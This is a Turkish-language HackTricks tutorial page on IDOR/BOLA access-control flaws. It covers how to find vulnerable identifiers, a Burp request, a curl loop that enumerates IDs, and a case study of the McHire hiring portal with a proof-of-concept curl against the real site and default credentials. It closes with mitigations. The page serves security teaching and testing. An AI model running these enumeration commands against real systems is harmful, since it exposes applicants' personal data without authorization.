4.8 KiB
IDOR (Güvensiz Doğrudan Nesne Referansı)
{{#include ../banners/hacktricks-training.md}}
IDOR (Güvensiz Doğrudan Nesne Referansı) / Bozuk Nesne Seviyesi Yetkilendirme (BOLA), bir web veya API uç noktasının, doğrudan erişim sağlamak için kullanılan ve kullanıcı tarafından kontrol edilebilen bir tanımlayıcıyı ifşa etmesi veya kabul etmesi durumunda ortaya çıkar; çağrının bu nesneye erişim/değişiklik yapma yetkisini doğrulamadan. Başarılı bir istismar genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey ayrıcalık yükseltmelerine izin verir ve en kötü durumda, tam hesap ele geçirme veya kitlesel veri sızdırma ile sonuçlanabilir.
1. Potansiyel IDOR'ları Belirleme
- Bir nesneyi referans alan parametreleri arayın:
- Yol:
/api/user/1234
,/files/550e8400-e29b-41d4-a716-446655440000
- Sorgu:
?id=42
,?invoice=2024-00001
- Gövde / JSON:
{"user_id": 321, "order_id": 987}
- Başlıklar / Çerezler:
X-Client-ID: 4711
- Veri okuma veya güncelleme yapan uç noktaları tercih edin (
GET
,PUT
,PATCH
,DELETE
). - Tanımlayıcıların sıralı veya tahmin edilebilir olduğuna dikkat edin – eğer ID'niz
64185742
ise, o zaman64185741
muhtemelen vardır. - Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları keşfedin (örneğin, giriş sayfalarındaki "Paradox takım üyeleri" bağlantısı).
- Kimlik doğrulaması yapılmış düşük ayrıcalıklı bir oturum kullanın ve yalnızca ID'yi aynı token/çerez ile değiştirin. Yetkilendirme hatasının olmaması genellikle IDOR'un bir işareti olarak kabul edilir.
Hızlı manuel müdahale (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Otomatik numaralandırma (Burp Intruder / curl döngüsü)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platformu (2025)
Paradox.ai destekli McHire işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR keşfedildi:
- Uç Nokta:
PUT /api/lead/cem-xhr
- Yetkilendirme: herhangi bir restoran test hesabı için kullanıcı oturum çerezi
- Gövde parametresi:
{"lead_id": N}
– 8 haneli, sıralı sayısal tanımlayıcı
lead_id
değerini düşürerek, test eden kişi rastgele başvuranların tam PII (isim, e-posta, telefon, adres, vardiya tercihleri) bilgilerini ve oturum kaçırmaya izin veren bir tüketici JWT'sini elde etti. 1 – 64,185,742
aralığının sayımı yaklaşık 64 milyon kaydı ortaya çıkardı.
Kanıt-of-Kavram isteği:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Birleştirildiğinde varsayılan yönetici kimlik bilgileri (123456:123456
) test hesabına erişim sağladı ve bu zafiyet, kritik, şirket genelinde bir veri ihlaline yol açtı.
3. IDOR / BOLA'nın Etkisi
- Yatay yükselme – diğer kullanıcıların verilerini okuma/güncelleme/silme.
- Dikey yükselme – düşük yetkili bir kullanıcının yalnızca yöneticiye özel işlevsellik kazanması.
- Tanımlayıcılar ardışık ise kitlesel veri ihlali (örneğin, başvuru kimlikleri, faturalar).
- Diğer kullanıcıların token'larını çalarak veya şifrelerini sıfırlayarak hesap ele geçirme.
4. Önlemler & En İyi Uygulamalar
- Her istekte nesne düzeyinde yetkilendirme uygulayın (
user_id == session.user
). - Otomatik artan kimlikler yerine dolaylı, tahmin edilemez tanımlayıcılar (UUIDv4, ULID) tercih edin.
- Yetkilendirmeyi sunucu tarafında gerçekleştirin, asla gizli form alanlarına veya UI kontrollerine güvenmeyin.
- Merkezi bir ara yazılımda RBAC / ABAC kontrolleri uygulayın.
- ID'lerin sayımını tespit etmek için oran sınırlama ve günlükleme ekleyin.
- Her yeni uç noktayı güvenlik testi yapın (birim, entegrasyon ve DAST).
5. Araçlar
- BurpSuite uzantıları: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projeleri:
bwapp-idor-scanner
,Blindy
(toplu IDOR avı).
Referanslar
- McHire Chatbot Platform: Varsayılan Kimlik Bilgileri ve IDOR 64M Başvuranın Kişisel Bilgilerini Ortaya Çıkarıyor
- OWASP Top 10 – Kırık Erişim Kontrolü
- Daha Fazla IDOR Nasıl Bulunur – Vickie Li {{#include ../banners/hacktricks-training.md}}